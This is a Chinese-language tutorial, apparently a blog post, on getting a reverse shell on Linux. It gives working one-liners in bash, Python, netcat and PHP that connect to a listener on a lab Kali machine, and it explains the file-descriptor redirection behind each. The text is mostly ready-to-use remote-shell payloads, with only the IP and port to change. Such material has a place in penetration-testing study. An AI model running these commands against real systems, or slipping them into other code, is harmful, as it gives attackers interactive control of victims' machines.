方法一:(bash反彈)
反彈shell命令如下:
bash -i >& /dev/tcp/ip/port 0>&1
首先,使用nc在kali上監聽端口:
nc -lvp 7777
然后在目標機輸入:
bash -i >& /dev/tcp/192.168.0.30/4444 0>&1
可以看到shell成功反彈到了kali上面,可以執行命令:
在解釋這條反彈shell的命令原理之前,首先需要掌握幾個點。
linux文件描述符:linux shell下有三種標准的文件描述符,分別如下:
0 - stdin 代表標准輸入,使用<或<< 1 - stdout 代表標准輸出,使用>或>> 2 - stderr 代表標准錯誤輸出,使用2>或2>>
還有就是>&這個符號的含義,最好的理解是這樣的:
當>&后面接文件時,表示將標准輸出和標准錯誤輸出重定向至文件。
當>&后面接文件描述符時,表示將前面的文件描述符重定向至后面的文件描述符
這樣做是為了區分文件描述符和文件,比如查看一個不存在的文件,要把標准錯誤重定向到標准輸出,如果直接cat notexistfile 2>1的話,則會將1看作是一個文件,將標准錯誤輸出輸出到1這個文件里而不是標准輸出,而&的作用就是為了區分文件和文件描述符:
理解了上面這些知識,下面來解釋一下這一條反彈shell的命令,
bash -i代表在本地打開一個交互式bash,
/dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接,
>&后面跟上/dev/tcp/ip/port這個文件代表將標准輸出和標准錯誤輸出重定向到這個文件,也就是傳遞到遠程上,如果遠程開啟了對應的端口去監聽,就會接收到這個bash的標准輸出和標准錯誤輸出,這個時候我們在目標機輸入命令,輸出以及錯誤輸出的內容就會被傳遞顯示到遠程。
在本地輸入設備(鍵盤)輸入命令,在本地看不到輸入的內容,但是鍵盤輸入的命令已經被輸出到了遠程,然后命令的執行結果或者錯誤也會被傳到遠程,查看遠程,可以看到標准輸出和標准錯誤輸出都重定向到了遠程:
下面在該命令后面加上0>&1,代表將標准輸入重定向到標准輸出,這里的標准輸出已經重定向到了/dev/tcp/ip/port這個文件,也就是遠程,那么標准輸入也就重定向到了遠程,這樣的話就可以直接在遠程輸入了:
方法2:python反彈
反彈shell命令如下:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
首先,使用nc在kali上監聽端口:
nc -lvp 7777
在目標機上使用python去反向連接,輸入:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.30',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
可以看到kali上成功反彈到了shell,可以執行一些命令:
在已經深入理解了第一種方法的原理后,下面來解釋一下python反彈shell的原理。
首先使用socket與遠程建立起連接,接下來使用到了os庫的dup2方法將標准輸入、標准輸出、標准錯誤輸出重定向到遠程,dup2這個方法有兩個參數,分別為文件描述符fd1和fd2,當fd2參數存在時,就關閉fd2,然后將fd1代表的那個文件強行復制給fd2,在這里可以把fd1和fd2看作是C語言里的指針,將fd1賦值給fd2,就相當於將fd2指向於s.fileno(),fileno()返回的是一個文件描述符,在這里也就是建立socket連接返回的文件描述符,經過測試可以看到值為3。
於是這樣就相當於將標准輸入(0)、標准輸出(1)、標准錯誤輸出(2)重定向到遠程(3),接下來使用os的subprocess在本地開啟一個子進程,傳入參數“-i”使bash以交互模式啟動,標准輸入、標准輸出、標准錯誤輸出又被重定向到了遠程,這樣的話就可以在遠程執行輸入命令了。
方法3:nc反彈
使用nc反彈shell,需要的條件是被反彈shell的機器安裝了nc
在kali上使用nc監聽端口:
在目標機上使用nc去反向連接,命令如下:
nc 192.168.0.30 4444 -e /bin/bash
這里的-e后面跟的參數代表的是在創建連接后執行的程序,這里代表在連接到遠程后可以在遠程執行一個本地shell(/bin/bash),也就是反彈一個shell給遠程,可以看到遠程已經成功反彈到了shell,並且可以執行命令。
注意之前使用nc監聽端口反彈shell時都會有一個警告:Warning: forward host lookup failed for bogon: Unknown host,根據nc幫助文檔的提示加上-n參數就可以不產生這個警告了,-n參數代表在建立連接之前不對主機進行dns解析。
nc -nlvp 4444
如果nc不支持-e參數的話,可以利用到linux中的管道符,首先在kali上開啟監聽:
nc -nvlp 6666 nc -nvlp 7777
之后在目標機上使用nc去反向鏈接:
nc 192.168.0.30 6666|/bin/bash|nc 192.168.0.30 7777
這里通過在kali上監聽兩個端口,然后在使用目標機進行反向連接的時候使用到了管道符,管道符的作用是把管道符前的輸出作為管道符后的輸入,這樣的話就可以在遠程的6666端口的輸入設備(鍵盤)輸入命令,將命令輸出傳遞至本地的/bin/bash,通過本地shell解釋執行命令后,將命令執行的結果以及錯誤輸入到遠程的7777端口。
方法4:php反彈
使用php反彈shell,方法如下 。
首先最簡單的一個辦法,就是使用php的exec函數執行方法1反彈shell的命令:
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.0.30/4444");'
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.0.30/4444 0>&1");'
還有一個是之前烏雲知識庫上的一個姿勢,使用php的fsockopen去連接遠程:
php -r '$sock=fsockopen("192.168.0.30",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
這個姿勢看起來有一些難以理解,尤其是還出現了<&這個符號,當然如果把&看着是取地址符或者是引用,那還是可以理解的,為了更方便的理解,我在這將這條命令稍微修改了一下,類似於前面的第二種方法。
有了之前的基礎,我們知道3代表的是使用fsockopen函數建立socket返回的文件描述符,這里將標准輸入,標准輸出和標准錯誤輸出都重定向到了遠程;
在目標機上反向連接,輸入:
php -r '$sock=fsockopen("192.168.0.30",4444);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
注意:php反彈shell的這些方法都需要php關閉safe_mode這個選項,才可以使用exec函數。